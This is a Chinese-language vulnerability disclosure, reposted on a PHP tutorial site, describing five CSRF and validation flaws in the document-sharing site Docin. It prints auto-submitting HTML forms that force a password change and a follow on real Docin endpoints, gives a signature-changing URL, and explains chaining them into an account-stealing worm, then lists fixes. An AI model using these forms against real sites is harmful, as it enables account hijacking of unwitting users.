网站地图    收藏   

主页 > 后端 > 网站安全 >

豆丁网N处CSRF漏洞及修复 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 【漏洞一】某天,对豆丁网的修改密码的设计进行了一下分析。修改密码需要输入3个内容,一个旧密码,一个新密码,一个新密码确认。确定需要三个框都是绿色钩钩,其中,旧密码的...

漏洞一】
某天,对豆丁网的修改密码的设计进行了一下分析。
修改密码需要输入3个内容,一个旧密码,一个新密码,一个新密码确认。
确定需要三个框都是绿色钩钩,其中,旧密码的验证也存在缺陷。
通过判断http://www.docin.com/app/my/docin/checkOldPwd?password=XXXXXXXXXXX返回的结果来判断用户输入的密码是否为真,ture和false,这个过程存在一定缺陷,在拿到用户COOKIES的情况下,利用穷举或者密码库,很容易就可以测试出用户的原密码。
 
=========华丽的分割线=========
 
【漏洞二】
在修改密码POST的表单中,POST了三个参数,分别是oldPwd、newPwd、newPwdAgain
但是,在我的测试当中,删掉oldPwd和newPwdAgain参数,只保留newPwd并进行POST操作,依然可以修改用户的密码,这就导致了可能会在获得了用户COOKIES的情况下,在未知旧密码的情况下强制修改用户的密码。
 
=========华丽的分割线=========
 
【漏洞三】
修改密码的接口http://www.docin.com/app/my/docin/password?fn=update ,未验证POST表单的来路,结合漏洞二,在豆丁中传播一个带有以下代码的地址,就可以实现任意修改用户密码。
 www.2cto.com
<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://www.docin.com/app/my/docin/password?fn=update" method="post">
<input type="text" name="newPwd" value="XXXXXXXXXXX" />
<input type="submit" value="submit" />
</form>
<script>
       document.imlonghao.submit();
</script>
</body>
</html>
 
=========华丽的分割线=========
 
【漏洞四】
想了想,只是修改用户的密码,但不知道用户的帐号,要利用也只能达到盗取指定用户的帐号的目的,并不能广泛的进行蠕虫传播。
于是,我想到了可以用CSRF操作被害用户的帐号关注一个人气小的帐号,那么就可以知道用户的帐号了。
很荣幸,关注接口也没有做来源检查。
接口地址:http://www.docin.com/app/my/docin/addConcernUser
 
<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://www.docin.com/app/my/docin/addConcernUser" method="post">
<input type="text" name="fansUserId" value="XXX" />
<input type="submit" value="submit" />
</form>
<script>
       document.imlonghao.submit();
</script>
</body>
</html>
 
=========华丽的分割线=========
 
【漏洞五】
想要达到传播蠕虫的目的,还需要一个类似于发微博的东西,于是,我想到了修改用户签名的做法。
很很很荣幸,也没有检查来源。
利用方式:
 
http://www.docin.com/jsp_cn/userBlog/userdoc/updateaboutme.jsp?content=[在这里输入你想修改的签名]
 
=========华丽的分割线=========
 
华丽丽的,一个盗号蠕虫就这样制成了。
 
 
漏洞证明:【漏洞一】
  

 
 
 
=========华丽的分割线=========
 
【漏洞二】
【漏洞三】
 
 
 
 
=========华丽的分割线========= www.2cto.com
 
【漏洞四】
随便找了一个人
 
 
 
 
=========华丽的分割线=========
 
【漏洞五】
原签名
 
 
 
接口返回信息
 
 
 
修改后
 


 
修复方案:

漏洞一:取消这个验证,将旧密码的验证转入到按确定提交后POST到服务器后在验证
漏洞二:严格验证POST的参数是否齐全
漏洞三:严格验证POST表单来源
漏洞四:同上
漏洞五:同上

作者 imlonghao

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论